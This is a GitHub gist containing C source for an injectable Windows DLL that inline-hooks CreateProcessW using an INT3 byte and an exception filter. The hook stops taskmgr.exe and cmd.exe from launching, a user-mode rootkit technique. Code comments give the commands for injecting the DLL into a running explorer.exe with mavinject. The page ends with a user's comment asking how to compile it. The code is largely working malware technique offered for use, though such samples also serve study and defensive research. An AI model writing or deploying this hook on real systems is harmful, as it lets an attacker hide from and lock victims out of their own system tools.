Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Simple UserMode Hook Example
#include <windows.h>
#include <stdio.h>
FARPROC fpCreateProcessW;
BYTE bSavedByte;
// Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// tasklist | findstr explore.exe
// mavinject 666 /INJECTRUNNING C:\Tools\Injectable.dll
//
BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) {
DWORD dwOldProt = 0;
if (VirtualProtect(fpFunc, size, PAGE_EXECUTE_READWRITE, &dwOldProt) == FALSE)
return FALSE;
MoveMemory(fpFunc, b, size);
return VirtualProtect(fpFunc, size, dwOldProt, &dwOldProt);
}
VOID HookFunction(VOID) {
fpCreateProcessW = GetProcAddress(LoadLibrary(L"kernel32"), "CreateProcessW");
if (fpCreateProcessW == NULL) {
return;
}
bSavedByte = *(LPBYTE)fpCreateProcessW;
const BYTE bInt3 = 0xCC;
if (WriteMemory(fpCreateProcessW, &bInt3, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
}
BOOL WINAPI MyCreateProcessW(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) {
if (wcsstr(lpCommandLine, L"taskmgr.exe") != NULL ||
wcsstr(lpCommandLine, L"cmd.exe") != NULL) {
SetLastError(ERROR_ACCESS_DENIED);
return FALSE;
}
if (WriteMemory(fpCreateProcessW, &bSavedByte, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
BOOL b = CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
HookFunction();
return b;
}
LONG WINAPI MyUnhandledExceptionFilter(LPEXCEPTION_POINTERS lpException) {
if (lpException->ContextRecord->Rip == (DWORD_PTR)fpCreateProcessW)
lpException->ContextRecord->Rip = (DWORD_PTR)MyCreateProcessW;
return EXCEPTION_CONTINUE_EXECUTION;
}
BOOL APIENTRY DllMain(HANDLE hInstance, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)MyUnhandledExceptionFilter);
::MessageBoxA(NULL,"Boom!","Injected",0);
HookFunction();
break;
}
return TRUE;
}
@kogramat

This comment has been minimized.

Copy link

commented Dec 21, 2017

How I must compile it? I've compiled it in MS Visual Studio clear project and it does't works.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.